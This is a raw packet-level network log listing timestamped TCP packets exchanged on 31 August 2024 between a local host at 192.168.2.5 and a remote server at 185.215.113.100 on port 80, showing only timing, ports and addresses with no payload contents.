Aug 31, 2024 10:14:11.157105923 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157119036 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157129049 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157129049 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157150030 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157159090 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157160044 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157182932 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157186985 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157191992 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157218933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157227993 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157236099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157260895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157265902 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157269955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157289028 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157294989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157305956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157309055 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157321930 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157347918 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157351971 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157357931 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157360077 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157382965 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157387972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157399893 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157407999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157422066 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157426119 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157433033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157439947 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157459974 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157469034 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157470942 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157491922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157501936 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157510996 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157520056 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157530069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157537937 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157547951 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157557964 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157568932 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157576084 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157582998 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157588005 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157614946 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157636881 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.157666922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.157712936 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.159044027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.159055948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.159075022 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.159085035 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.159096956 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.159106970 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.159127951 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.159130096 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.159146070 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.159173965 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.159185886 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.159197092 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.159218073 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.159234047 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.159240007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.159260988 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.159266949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.159277916 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.159286976 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.159295082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.159305096 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.159307003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.159327030 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.159334898 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.159344912 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.159352064 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.159356117 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.159373999 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.159389019 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.159416914 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.165622950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.165635109 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.165652990 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.165684938 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.165718079 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.166059017 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.166069031 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.166085958 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.166095972 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.166105032 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.166116953 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.166137934 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.166145086 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.166151047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.166169882 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.166173935 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.166183949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.166197062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.166229010 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.166948080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.166959047 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.166991949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167001963 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167005062 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.167007923 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167015076 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167049885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167063951 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167089939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167093039 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.167113066 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167125940 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167126894 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.167143106 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167146921 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.167154074 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167167902 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.167174101 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167185068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167187929 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.167212009 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.167231083 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.167721033 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167732000 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167748928 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167758942 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167772055 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.167792082 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167802095 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167809963 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.167819977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.167836905 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.167862892 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.221981049 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.221991062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.222017050 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.222026110 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.222052097 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.222080946 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.242877007 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.242887020 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.242933989 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.305785894 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.305819988 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.305830956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.305843115 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.305850029 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.305857897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.305857897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.305871964 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.305880070 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.305888891 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.305897951 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.305905104 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.305918932 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.305936098 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.305944920 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.305957079 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.305963993 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.305991888 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.305993080 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.305999994 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.306000948 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.306025982 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.306041002 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.306216955 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.306225061 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.306246042 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.306257963 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.306286097 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.306293964 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.306294918 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.306334019 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.306988001 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.306997061 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307015896 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307025909 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307041883 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307051897 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307051897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307051897 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307066917 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307075024 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307104111 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307118893 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307157040 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307180882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307220936 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307291985 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307301044 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307320118 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307331085 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307337999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307348013 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307356119 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307370901 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307385921 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307389021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307411909 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307420969 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307431936 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307441950 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307449102 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307451010 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307483912 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307519913 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307528973 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307544947 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307560921 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307574034 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307742119 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307751894 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307769060 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307785034 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307792902 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307810068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307813883 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307821989 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307837963 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307841063 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307851076 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307857990 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307866096 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307876110 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.307882071 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307899952 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.307921886 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.308062077 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.308087111 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.308096886 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.308109999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.308114052 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.308125019 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.308125019 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.308137894 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.308151007 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.308159113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.308166027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.308175087 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.308199883 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.308271885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.308305979 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.308315039 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.308316946 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.308341980 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.308355093 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.308712959 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.308722973 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.308744907 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.308760881 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.308808088 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.310101986 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.310112953 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.310128927 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.310158014 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.310163975 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.310173988 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.310180902 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.310190916 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.310213089 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.310234070 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.310399055 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.310408115 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.310425043 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.310445070 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.310446978 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.310456038 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.310471058 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.310472965 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.310481071 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.310497999 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.310497999 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.310528040 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.310534954 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.310868025 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.310878038 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.310894012 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.310918093 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.310935974 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.311062098 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.311073065 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.311089039 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.311115980 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.311135054 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.312463045 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.312472105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.312510014 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.312510967 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.312517881 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.312546015 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.312568903 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.312746048 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.312756062 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.312773943 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.312783003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.312798023 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.312798977 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.312824965 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.312834024 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.312885046 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.312895060 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.312913895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.312927008 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.312938929 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.312953949 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.312958956 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.312963963 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.312983990 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.312994003 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.312994957 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.313011885 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.313011885 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.313029051 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.313050985 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.313114882 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.313124895 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.313141108 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.313149929 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.313162088 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.313185930 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.322139978 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322206974 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.322241068 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322251081 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322277069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322283983 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322298050 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.322300911 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322321892 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:11.322330952 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:11.322340012 CEST	80	49704	185.215.113.100	192.168.2.5
